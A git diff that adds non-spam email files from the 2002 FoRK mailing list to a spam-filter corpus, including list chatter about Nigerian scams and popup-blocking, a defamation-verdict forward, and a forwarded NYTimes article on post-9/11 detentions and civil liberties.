(Postfix) with ESMTP id C24682940E5 for ; + Sun, 4 Aug 2002 05:32:18 -0700 (PDT) +Received: from maya.dyndns.org (ts5-044.ptrb.interhop.net + [165.154.190.108]) by smtp1.auracom.net (8.11.2/8.11.2) with ESMTP id + g74C7Xp26884; Sun, 4 Aug 2002 08:07:39 -0400 (EDT) +Received: by maya.dyndns.org (Postfix, from userid 501) id EDEA61C3BD; + Sun, 4 Aug 2002 08:28:12 -0400 (EDT) +To: "David Kargbou" +Cc: fork@spamassassin.taint.org +Subject: Re: DANIEL KARGBO. fork ! +References: <20020804072354.2E74B29409D@xent.com> +From: Gary Lawrence Murphy +X-Home-Page: http://www.teledyn.com +Organization: TCI Business Innovation through Open Source Computing +Message-Id: +Reply-To: Gary Lawrence Murphy +X-Url: http://www.teledyn.com/ +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: 04 Aug 2002 08:28:12 -0400 + + +Wow, what a flash, I just got the _perfect_ idea for a new +suspense/crime TV drama: Every week, some poor schmuck answers +one of these Nigerian Scams ... + +-- +Gary Lawrence Murphy TeleDynamics Communications Inc +Business Innovations Through Open Source Systems: http://www.teledyn.com +"Computers are useless. They can only give you answers."(Pablo Picasso) + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00963.5480cd0c553b673d4b2a5dd8775bc858 b/bayes/spamham/easy_ham_2/00963.5480cd0c553b673d4b2a5dd8775bc858 new file mode 100644 index 0000000..e8fcf09 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00963.5480cd0c553b673d4b2a5dd8775bc858 @@ -0,0 +1,88 @@ +From fork-admin@xent.com Tue Aug 6 11:59:27 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 88B02441F9 + for ; Tue, 6 Aug 2002 06:49:15 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:49:15 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g74K5sv07715 for ; + Sun, 4 Aug 2002 21:05:55 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id D7C8A29409F; Sun, 4 Aug 2002 13:03:03 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from hotmail.com (dav70.law15.hotmail.com [64.4.22.205]) by + xent.com (Postfix) with ESMTP id 9853C294099 for ; + Sun, 4 Aug 2002 13:02:52 -0700 (PDT) +Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; + Sun, 4 Aug 2002 13:03:31 -0700 +X-Originating-Ip: [207.202.171.254] +From: "Mr. FoRK" +To: +References: + <3D4CBC2B.1070208@barrera.org> +Subject: Re: Using hosts file to rid yourself of popup ads +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 5.50.4133.2400 +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 +Message-Id: +X-Originalarrivaltime: 04 Aug 2002 20:03:31.0800 (UTC) FILETIME=[01CAFD80:01C23BF2] +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sun, 4 Aug 2002 13:06:08 -0700 + +Okay okay... after reading further I realized this wasn't all that great.... +thanks for the feedback anyway. + +----- Original Message ----- +From: "Joseph S. Barrera III" +To: "Mr. FoRK" +Cc: +Sent: Saturday, August 03, 2002 10:31 PM +Subject: Re: Using hosts file to rid yourself of popup ads + + +> Mr. FoRK wrote: +> > Don't know if everybody knows this trick... +> +> Yes. They do. +> +> > > Because we're inherently lazy, this works for windows only, +> +> Huh? Oh, that's right, Unix picked up the idea of /etc/hosts +> from Windows. I keep forgetting. +> +> > > don't use it on a mac! +> +> Especially macs running unix (see above). +> +> > > We didn't write this file and do not provide +> > > support for it's use. +> +> We don't even know how to use the fucking English language. +> -- +> What security level comes after "Totally Apeshit"? +> -- http://www.mnftiu.cc/mnftiu.cc/war12.html +> +> +> http://xent.com/mailman/listinfo/fork +> +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00964.f38b735e9037b2e7b13ad9c6dcbdad1c b/bayes/spamham/easy_ham_2/00964.f38b735e9037b2e7b13ad9c6dcbdad1c new file mode 100644 index 0000000..cb2a2ae --- /dev/null +++ b/bayes/spamham/easy_ham_2/00964.f38b735e9037b2e7b13ad9c6dcbdad1c @@ -0,0 +1,53 @@ +From fork-admin@xent.com Tue Aug 6 12:00:22 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id EA668441FE + for ; Tue, 6 Aug 2002 06:49:20 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:49:20 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g753Cnv26850 for ; + Mon, 5 Aug 2002 04:12:49 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 22FDE294164; Sun, 4 Aug 2002 20:06:04 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from imo-r01.mx.aol.com (imo-r01.mx.aol.com [152.163.225.97]) by + xent.com (Postfix) with ESMTP id BF25C2940F4 for ; + Sun, 4 Aug 2002 20:05:57 -0700 (PDT) +Received: from Grlygrl201@aol.com by imo-r01.mx.aol.com (mail_out_v33.5.) + id 2.8d.1c26fa17 (15874) for ; Sun, 4 Aug 2002 23:06:36 + -0400 (EDT) +Received: from aol.com (mow-m02.webmail.aol.com [64.12.184.130]) by + air-id07.mx.aol.com (v86_r1.16) with ESMTP id MAILINID71-0804230636; + Sun, 04 Aug 2002 23:06:36 -0400 +From: grlygrl201@aol.com +To: fork@spamassassin.taint.org +Subject: Tryst of Fate +Message-Id: <5081D4F4.43524DCE.0F48F476@aol.com> +X-Mailer: Atlas Mailer 2.0 +Content-Type: text/plain; charset=iso-8859-1 +Content-Transfer-Encoding: 8bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sun, 04 Aug 2002 23:06:36 -0400 + +. . . or eventuality: Bush and Cheney fuck each other when the rest of the nation suddenly becomes unavailable. + +http://www.hfcletter.com/letter/August02/ + +gg +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00965.65826942ee14fb4633a82452bab4f19e b/bayes/spamham/easy_ham_2/00965.65826942ee14fb4633a82452bab4f19e new file mode 100644 index 0000000..c5a740d --- /dev/null +++ b/bayes/spamham/easy_ham_2/00965.65826942ee14fb4633a82452bab4f19e @@ -0,0 +1,75 @@ +From fork-admin@xent.com Tue Aug 6 12:00:34 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 323BA441CB + for ; Tue, 6 Aug 2002 06:49:34 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:49:34 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g75DRwk12689 for ; + Mon, 5 Aug 2002 14:27:59 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 0D18F29409F; Mon, 5 Aug 2002 06:25:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from tisch.mail.mindspring.net (tisch.mail.mindspring.net + [207.69.200.157]) by xent.com (Postfix) with ESMTP id 954EF294099 for + ; Mon, 5 Aug 2002 06:24:49 -0700 (PDT) +Received: from user-119ac86.biz.mindspring.com ([66.149.49.6]) by + tisch.mail.mindspring.net with esmtp (Exim 3.33 #1) id 17bhr4-0008S9-00; + Mon, 05 Aug 2002 09:25:02 -0400 +MIME-Version: 1.0 +X-Sender: rahettinga@pop.earthlink.net +Message-Id: +To: fork@spamassassin.taint.org, irregulars@tb.tf +From: "R. A. Hettinga" +Subject: Jury rules for Paul Guthrie's Defense in ZixIt's $700mm suit (was Re: GigaLaw.com Daily News, August 5, 2002) +Content-Type: text/plain; charset="us-ascii" +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Mon, 5 Aug 2002 09:23:54 -0400 + +If anyone can get past the "No Cookie" monster to the actual text of this +link, let me know. :-). + +Cheers, +RAH + + +At 5:36 AM -0600 on 8/5/02, GigaLaw.com wrote: + + +> Jury Rules for Defense in $700 Million Net Defamation Case +> In one of the first trials in the nation to address Internet +> defamation, a Dallas County, Texas, jury rejected a $700 million suit by +> an Internet company that claimed it was harmed by negative electronic +> messages. Dallas' ZixIt alleged that Paul Guthrie, formerly a vice +> president with Visa, posted more than 400 anonymous messages, many +> negative, about ZixIt on a Yahoo Internet message board, causing ZixIt's +> stock price to drop. +> Read the article: law.com @ +> +>http://www.law.com/servlet/ContentServer?pagename=OpenMarket/Xcelerate/View&c=LawArticle&cid=1028320303259&t=LawArticleTech + +-- +----------------- +R. A. Hettinga +The Internet Bearer Underwriting Corporation +44 Farquhar Street, Boston, MA 02131 USA +"... however it may deserve respect for its usefulness and antiquity, +[predicting the end of the world] has not been found agreeable to +experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00966.8ebefc5eaa53c3bf9ef1dfcec1ee2087 b/bayes/spamham/easy_ham_2/00966.8ebefc5eaa53c3bf9ef1dfcec1ee2087 new file mode 100644 index 0000000..e51c21f --- /dev/null +++ b/bayes/spamham/easy_ham_2/00966.8ebefc5eaa53c3bf9ef1dfcec1ee2087 @@ -0,0 +1,606 @@ +From fork-admin@xent.com Tue Aug 6 12:00:34 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id CFFC0441FF + for ; Tue, 6 Aug 2002 06:49:24 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:49:24 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g75Ch8v11341 for ; + Mon, 5 Aug 2002 13:43:13 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id DCC772940BD; Mon, 5 Aug 2002 05:40:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from ms4.lga2.nytimes.com (ms4.lga2.nytimes.com [64.15.247.148]) + by xent.com (Postfix) with ESMTP id 8E2AB2940B4 for ; + Mon, 5 Aug 2002 05:39:58 -0700 (PDT) +Received: from email4.lga2.nytimes.com (email4 [10.0.0.169]) by + ms4.lga2.nytimes.com (Postfix) with ESMTP id 443215A628 for + ; Mon, 5 Aug 2002 08:44:41 -0400 (EDT) +Received: by email4.lga2.nytimes.com (Postfix, from userid 202) id + CAF57C431; Mon, 5 Aug 2002 08:34:25 -0400 (EDT) +Reply-To: luke@applix.com +From: luke@applix.com +To: fork@spamassassin.taint.org +Subject: NYTimes.com Article: After Sept. 11, a Legal Battle Over Limits of Civil Liberty +Message-Id: <20020805123425.CAF57C431@email4.lga2.nytimes.com> +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Mon, 5 Aug 2002 08:34:25 -0400 (EDT) + +This article from NYTimes.com +has been sent to you by luke@applix.com. + + +The mind boggles at the idea that the Bush administration has not bothered to find a serious rationale at all, much less one extraordinary enough to justify these extraordinary measures, much less present it to the public, and that the Bush administration appears to be against American-style justice. + +The default explanation for government secrecy is to conceal official wrongdoing. The administration is here making the case that Americans don't even have a right to question government secrecy. + +We may find that the history of this past year has been an epic looting from the public, made possible by the urgency of reacting to 9/11. + + +luke@applix.com + + +After Sept. 11, a Legal Battle Over Limits of Civil Liberty + +August 4, 2002 +By THE NEW YORK TIMES + + + + + + +This article was reported and written by Adam Liptak, Neil +A. Lewis and Benjamin Weiser. + +In the fearful aftermath of Sept. 11, Attorney General John +Ashcroft vowed to use the full might of the federal +government and "every available statute" to hunt down and +punish "the terrorists among us." + +The roundup that followed the attacks, conducted with +wartime urgency and uncommon secrecy, led to the detentions +of more than 1,200 people suspected of violating +immigration laws, being material witnesses to terrorism or +fighting for the enemy. + +The government's effort has produced few if any law +enforcement coups. Most of the detainees have since been +released or deported, with fewer than 200 still being held. + + +But it has provoked a sprawling legal battle, now being +waged in federal courthouses around the country, that +experts say has begun to redefine the delicate balance +between individual liberties and national security. + +The main combatants are the attorney general and federal +prosecutors on one side and a network of public defenders, +immigration and criminal defense lawyers, civil +libertarians and some constitutional scholars on the other, +with federal judges in between. + +The government's record has so far been decidedly mixed. As +it has pushed civil liberties protections to their limits, +the courts, particularly at the trial level, have pushed +back, stopping well short of endorsing Mr. Ashcroft's +tactics or the rationales he has offered to justify them. +Federal judges have, however, allowed the government to +hold two American citizens without charges in military +brigs, indefinitely, incommunicado and without a road map +for how they might even challenge their detentions. + +In the nation's history, the greatest battles over the +reach of government power have occurred against the +backdrop of wartime. Some scholars say the current +restrictions on civil liberties are relatively minor by +historical standards and in light of the risks the nation +faces. + +The current struggle centers on three sets of issues. +People held simply for immigration violations have objected +to new rules requiring that their cases be heard in secret, +and they have leveraged those challenges into an attack on +what they call unconstitutional preventive detentions. + +People brought in and jailed as material witnesses, those +thought to have information about terrorist plots, have +argued that they should not be held to give testimony in +grand jury investigations. + +Finally, Yasser Esam Hamdi and Jose Padilla, the two +Americans labeled "enemy combatants" for what the +government contends is more direct involvement with +terrorist groups, are seeking rights once thought to be +fundamental to American citizens, like a lawyer's +representation and a chance to challenge their detentions +before a civilian judge. + +So far, federal judges in Newark and Detroit have ordered +secret deportation proceedings opened to public scrutiny, +and on Friday a federal district judge in Washington +ordered that the identities of most of the detainees be +made public under the Freedom of Information Act. + +"Secret arrests," Judge Gladys Kessler wrote in the +decision on Friday, "are a concept odious to a democratic +society." + +A senior Justice Department official said the detentions +had been lawful and effective. He said it was hard to +"prove a negative" and cite specific terrorist acts that +had been disrupted. But he said that department officials +believed that the detentions had "incapacitated and +disrupted some ongoing terrorist plans." + +Two federal judges in New York have differed sharply on +whether the government may jail material witnesses while +they wait to testify in grand jury investigations. In +Virginia, a federal judge ordered the government to allow +Mr. Hamdi to consult a lawyer. + +"I look at the federal district court judges and just cheer +them on, because they are doing exactly what an independent +judiciary should be doing," said Jane E. Kirtley, a +professor at the University of Minnesota and former +executive director for the Reporters Committee for Freedom +of the Press. "It's not hostile or adversarial; it's simply +skeptical." + +These lower-court decisions have for the most part not yet +been tested on appeal, and there is reason to think that +appeals courts and the Supreme Court will prove more +sympathetic to the government's tactics and arguments. + +The federal appeals court in Richmond, Va., for instance, +reversed the decision to allow Mr. Hamdi to talk to a +lawyer and ordered the lower court judge to consider +additional evidence and arguments. + +But even the appeals court seemed torn, and it rejected the +government's sweeping argument that the courts have no role +in reviewing the government's designation of an American +citizen as an enemy combatant. + +The detention issues also carry an emotional punch. Many of +the Arabs and Muslims caught in the government dragnet were +cabdrivers, construction workers or other types of +laborers, and some spent up to seven months in jail before +being cleared of terrorism ties and deported or released. + +Last month, at a conference held by a federal appeals +court, Warren Christopher, the secretary of state in the +Clinton administration, snapped at Viet Dinh, an assistant +attorney general under President Bush, saying that the +administration's refusal to identify the people it had +detained reminded him of the "disappeareds" in Argentina. + +"I'll never forget going to Argentina and seeing the +mothers marching in the streets asking for the names of +those being held by the government," Mr. Christopher said. +"We must be very careful in this country about taking +people into custody without revealing their names." + +Mr. Dinh, who came to the United States as a refugee from +Vietnam, recalled his family's anguish when his father was +taken away in 1975 for "re-education." In contrast, he +said, those detained by the United States were not being +secretly held but were allowed to go to the press and seek +lawyers. + +"These are not incognito detentions," he said. "The only +thing we will not do is provide a road map for the +investigations." + +According to the Justice Department, 752 of the more than +1,200 people detained since Sept. 11 were held on +immigration charges. Officials said recently that 81 +remained in detention. Court papers indicate there were +about two dozen material witnesses, while most of the other +detainees were held on various state and federal criminal +charges. + +President Bush also has announced plans to try suspected +foreign terrorists before military tribunals, though no +such charges have been brought yet. + +Last month, William G. Young, the federal judge presiding +in Boston over the criminal case against Richard C. Reid, a +British citizen accused of trying to detonate a bomb in his +shoe on a trans-Atlantic flight, noted that the very +establishment of those tribunals "has the effect of +diminishing the American jury, once the central feature of +American justice." + +Judge Young, who was appointed by President Ronald Reagan, +added: "This is the most profound shift in our legal +institutions in my lifetime and - most remarkable of all - +it has taken place without engaging any broad public +interest whatsoever." + +Jack Goldsmith and Cass R. Sunstein, professors at the +University of Chicago Law School, have written that the +Bush administration's policies are a minimal challenge to +civil liberties especially compared with changes during the +times of Abraham Lincoln and Franklin D. Roosevelt. What +has changed, they say, is a greater sensitivity to civil +liberties and a vast increase in mistrust of government. + +The Secrecy + +U.S. Says Hearings +Are Not Trials + +Ten days +after last September's attacks, Michael J. Creppy, the +nation's chief immigration judge, quietly issued sweeping +instructions to hundreds of judges for what would turn out +to be more than 600 "special interest" immigration cases. + +"Each of these cases is to be heard separately from all +other cases on the docket," Judge Creppy wrote. "The +courtroom must be closed for these cases - no visitors, no +family, and no press." + +"This restriction," he continued, "includes confirming or +denying whether such a case is on the docket." + +The government has never formally explained how it decided +which visa violators would be singled out for this +extraordinary process, and it has insisted that the +designations could not be reviewed by the courts. + +But as it turns out, most of these cases involved Arab and +Muslim men who were detained in fairly haphazard ways, for +example at traffic stops or through tips from suspicious +neighbors. Law enforcement officials have acknowledged that +only a few of these detainees had any significant +information about possible terrorists. + +As the ruling on Friday in Washington suggests, a series of +legal challenges to this secrecy has resulted in striking +legal setbacks for the administration. Several courts have +ordered the proceedings opened and have voiced considerable +skepticism about the government's justifications for its +detention policies generally. + +Lee Gelernt, a lawyer at the American Civil Liberties +Union, said the secrecy of the proceedings exacerbated the +hardships faced by people who disappeared from sight on +violations that in the past would not have resulted in +incarceration. + +"Preventive detention," he said, "is such a radical +departure from constitutional traditions that we certainly +shouldn't be undertaking it solely on the Justice +Department's say-so." + +Malek Zeidan's detention would have been unexceptional had +it not given rise to one of the legal challenges that +threatens to end the secret proceedings. + +Mr. Zeidan, 42, is a Syrian citizen who overstayed his visa +14 years ago and has lived in Paterson, N.J., for more than +a decade. Over the years, he has delivered pizzas, driven +an ice cream truck and pumped gas. When the Immigration and +Naturalization Service came around last Jan. 31 to ask him +about a former roommate suspected of marriage fraud, Mr. +Zeidan was working at Dunkin' Donuts, and his expired visa +soon cost him 40 days in custody. + +When a hearing was finally held three weeks after his +detention, the judge closed the courtroom, excluding Mr. +Zeidan's cousin and reporters. + +The closing of proceedings prompted lawsuits in federal +court, from both Mr. Zeidan and two New Jersey newspapers. +In March, the government dropped the "special interest" +designation, Mr. Zeiden was released after posting a bond, +and the case he filed was dismissed. The immigration +charges against him will be considered in the fall. + +"You're one of the lucky ones," his lawyer, Regis +Fernandez, recalls telling Mr. Zeidan, given that other +visa violators were held as long as six or seven months +before being deported or released. + +Mr. Zeidan's lawyers believe that their legal strategy, +which focused on openness, forced the government's hand. + +"The government was somehow linking secrecy to guilt," Mr. +Fernandez said. "We figured if the public had access to +these hearings they would see that nothing went on except +multiple adjournments and delay." + +Through a spokeswoman, Judge Creppy declined to comment. An +I.N.S. official, who spoke on the condition that he not be +named, said the agency had acted properly in Mr. Zeidan's +case and in similar cases. + +He said the immigration service had always detained people +without bond who were linked to criminal investigations. He +added that the agency had no choice now but to detain a +visa violator until the Federal Bureau of Investigation was +sure the person was not involved in terrorism. + +"Consider the flip side - that you held him for two days +and then deported him, and 30 days later you found out he +was a terrorist," the official said. + +The newspapers' lawsuit has continued. It has already once +reached the Supreme Court, and the government's papers +contain one of the fullest accounts of its position on +secrecy and executive power. + +Its main argument is that the courts have no role because +immigration hearings are not really trials, but are merely +administrative hearings that can be closed at will. + +Bennet Zurofsky, who also represented Mr. Zeidan, said he +was flabbergasted by this suggestion. + +"A trial is a trial," he said. "A person's liberty is at +stake. A person is being held in jail. A person is being +told where to live." + +But in a sworn statement submitted in several court cases, +Dale L. Watson, the executive assistant director for +counterterrorism and counterintelligence at the F.B.I., +outlined the reasoning behind the government demand for +total secrecy. + +"Bits and pieces of information that may appear innocuous +in isolation can be fit into a bigger picture by terrorist +groups," he said. + +This rationale for withholding information, sometimes +called the mosaic theory, is controversial. + +"It's impossible to refute," Professor Kirtley said, +"because who can say with certainty that it's not true?" + +In May, John W. Bissell, the chief judge of the federal +district court in Newark, appointed by President Reagan, +ruled for the newspapers and ordered all deportation +hearings nationwide to be opened, unless the government is +able to show a need for a closed hearing on a case-by-case +basis. His ruling followed a similar one in Detroit the +month before, though that case involved only a single +detainee. + +The government appealed to the Court of Appeals for the +Third Circuit, in Philadelphia, and asked it to block Judge +Bissell's order until the appeal was decided. The court, +which will hear arguments in September, declined to do +that. A number of news organizations, including The New +York Times, filed a brief as a friend of the court in +support of the newspapers. + +The government then asked the United States Supreme Court +to stay Judge Bissell's order. The court, in a relatively +unusual move given that the case was not before it for any +other purpose, blocked Judge Bissell's order, suggesting +that it might have more sympathy for the government's +arguments. + +The Witnesses + +Rights Violated, +Lawyers Contend + +Late on Sept. 12, federal agents pulled +two nervous Indian men, Mohammed Jaweed Azmath and Syed Gul +Mohammed Shah, off an Amtrak train near Fort Worth. They +were carrying box cutters, black hair dye and about $5,000 +in cash and had also shaved their body hair. + +The agents' suspicions were obvious. The hijackers had used +box cutters and knives to take control of the aircraft and +had received letters instructing them to "shave excess hair +from the body." An F.B.I. affidavit dated Sept. 15 said +there was probable cause to believe that both of the Indian +men were involved in, or "were associated" with, those +responsible for the Sept. 11 attacks. + +But even though government officials told reporters that +the men had been detained as material witnesses, their +lawyers now say that they were held last fall only on +immigration violations. + +The distinction is important because a material witness +warrant brings the automatic appointment of a +government-paid lawyer, while the government does not have +to supply a visa violator with counsel. + +As a result, the authorities were able to question each of +the men repeatedly about terrorism without a lawyer +present, their current lawyers say. + +Like some of the people who were picked up as material +witnesses, the Indian men were held in isolation in jails +in New York for extended periods. It was 91 days before Mr. +Azmath received a lawyer and 57 days before Mr. Shah did, +their lawyers say. + +"It's wrong to keep a man in jail for 57 days and never +bring him before a magistrate to advise him of his rights," +Mr. Shah's lawyer, Lawrence K. Feitell, said in an +interview. "It's wrong not to provide him with an attorney +at the threshold. It's wrong to depict this as an I.N.S. +investigation, when in truth and in fact, it's the main +inquiry into the World Trade Center debacle." + +Anthony L. Ricco, the lawyer for Mr. Azmath, said his +client was interrogated "often times for several hours a +day, with multiple interviewers, getting rapid-fire +questions from three or four different people." + +Eventually, the F.B.I. and the prosecutors cleared the men +of any involvement in terrorism, and both pleaded guilty in +June in a credit-card fraud scheme and are awaiting +sentencing. + +Federal prosecutors said in court papers that both men +consented to questioning. Each "was read and waived his +Miranda rights before each interview," prosecutors wrote, +adding that each man confessed to the credit card offenses. + + +The United States attorney in Manhattan, James B. Comey, +would not comment on the specific cases, but said generally +of the government's tactics: "I don't see any violation of +any rule, regulation, or law. + +"I can understand defense lawyers not being happy," he +said. "But I know our position after 9/11 was to use every +available tool, to stay within the rules but play the whole +field and recognize the boundaries, but cover the whole +field. + +"We need to do whatever we can that's legal to investigate +and disrupt," he added. + +Today, it is believed that only a handful of the two dozen +material witnesses, perhaps as few as two, are still being +detained. + +But the process of detaining the witnesses has stirred +intense criticism. + +Last April, Judge Shira A. Scheindlin of Federal District +Court in Manhattan ruled that the use of the law "to detain +people who are presumed innocent under our Constitution in +order to prevent potential crimes is an illegitimate use of +the statute." + +Judge Scheindlin said the material witness law applied when +witnesses were held to give testimony at trials, not for +grand jury investigations. "Since 1789," Judge Scheindlin +said, "no Congress has granted the government the authority +to imprison an innocent person in order to guarantee that +he will testify before a grand jury conducting a criminal +investigation." + +Then last month, Chief Judge Michael B. Mukasey, also of +Federal District Court in Manhattan, upheld the +government's use of the material witness statute in grand +jury investigations, criticizing Judge Scheindlin's +reasoning. + +Judge Mukasey, citing the assertion in 1807 by Chief +Justice John Marshall that "the public has a right to every +man's evidence," held that detentions of material witnesses +during investigations are proper. + +The War Captives + +No Lawyers Allowed +Under U.S. Label + +Yasser Esam Hamdi, a +Saudi national who was captured in Afghanistan, is probably +an American citizen by virtue of having been born in +Louisiana. His case represents the core issue of what kind +of role the nation's courts should have, if any, in +reviewing the government's imprisonment of someone charged +with something akin to a war crime. + +Prosecutors will be back in Federal District Court in +Norfolk, Va., next Thursday to confront one of the federal +judges who has shown resistance to the government's +approach that once someone is declared an "enemy combatant" +by the president, all judicial review ceases. + +Judge Robert G. Doumar, an appointee of President Reagan, +has twice ruled that Mr. Hamdi is entitled to a lawyer and +ordered the government to allow Frank Dunham, the federal +public defender, to be allowed to visit him without +government officials or listening devices. Judge Doumar +said that "fair play and fundamental justice" require it. +He said the government "could not cite one case where a +prisoner of any variety within the jurisdiction of a United +States District Court, who was held incommunicado and +indefinitely." + +But the three-judge panel of the appeals court stayed Judge +Doumar's order, saying he had not fully considered the +government's needs to keep Mr. Hamdi incommunicado and, +more important, the executive branch's primacy in areas of +foreign and military affairs. + +"The authority to capture those who take up arms against +America belongs to the commander in chief," Chief Judge J. +Harvie Wilkinson 3rd wrote for the appeals panel. + +But even Judge Wilkinson seemed to evince some surprise at +the breadth of what the government was asserting when he +asked the Justice Department's lawyer, "You are saying that +the judiciary has no right to inquire at all into someone's +stature as an enemy combatant?" + +The government has relented slightly, agreeing to provide +the court with a sealed declaration of the criteria by +which they have judged Mr. Hamdi to be an enemy combatant. +But the government has argued that judges cannot argue with +the standards. + +Judge Doumar has indicated that he will question the +government closely on those standards. + +The case of Jose Padilla, which has not progressed as far +as that of Mr. Hamdi, may present an even greater challenge +to normal judicial procedures. + +Mr. Padilla, also known as Abdullah al-Muhajir, is, like +Mr. Hamdi, an American citizen, imprisoned in a naval brig +after having been declared an enemy combatant. But unlike +Mr. Hamdi, Mr. Padilla was not arrested on the battlefield +by the military but on United States soil by civil law +enforcement authorities, on May 8 in Chicago. + +After his detention as a material witness based on +suspicions that he was seeking to obtain material and +information to build a radioactive bomb, he was transferred +to military custody. + +"This is the model we all fear or should fear," said Mr. +Dunham, the public defender. "The executive branch can +arrest an American citizen here and then declare him an +enemy combatant and put him outside the reach of the +courts. They can keep him indefinitely without charging him +or giving him access to a lawyer or presenting any +evidence." + +http://www.nytimes.com/2002/08/04/national/04CIVI.html?ex=1029550865&ei=1&en=c82350bcf915e44e + + + +HOW TO ADVERTISE +--------------------------------- +For information on advertising in e-mail newsletters +or other creative advertising opportunities with The +New York Times on the Web, please contact +onlinesales@nytimes.com or visit our online media +kit at http://www.nytimes.com/adinfo + +For general information about NYTimes.com, write to +help@nytimes.com. + +Copyright 2002 The New York Times Company +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00967.9f54540bbcfe54481730330f5c6b67ad b/bayes/spamham/easy_ham_2/00967.9f54540bbcfe54481730330f5c6b67ad new file mode 100644 index 0000000..0c49a71 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00967.9f54540bbcfe54481730330f5c6b67ad @@ -0,0 +1,185 @@ +From fork-admin@xent.com Tue Aug 6 12:01:26 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id EDCFF44203 + for ; Tue, 6 Aug 2002 06:49:37 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:49:37 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g75Hnvk20639 for ; + Mon, 5 Aug 2002 18:49:58 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 396A42940AD; Mon, 5 Aug 2002 10:47:04 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from smtp10.atl.mindspring.net (smtp10.atl.mindspring.net + [207.69.200.246]) by xent.com 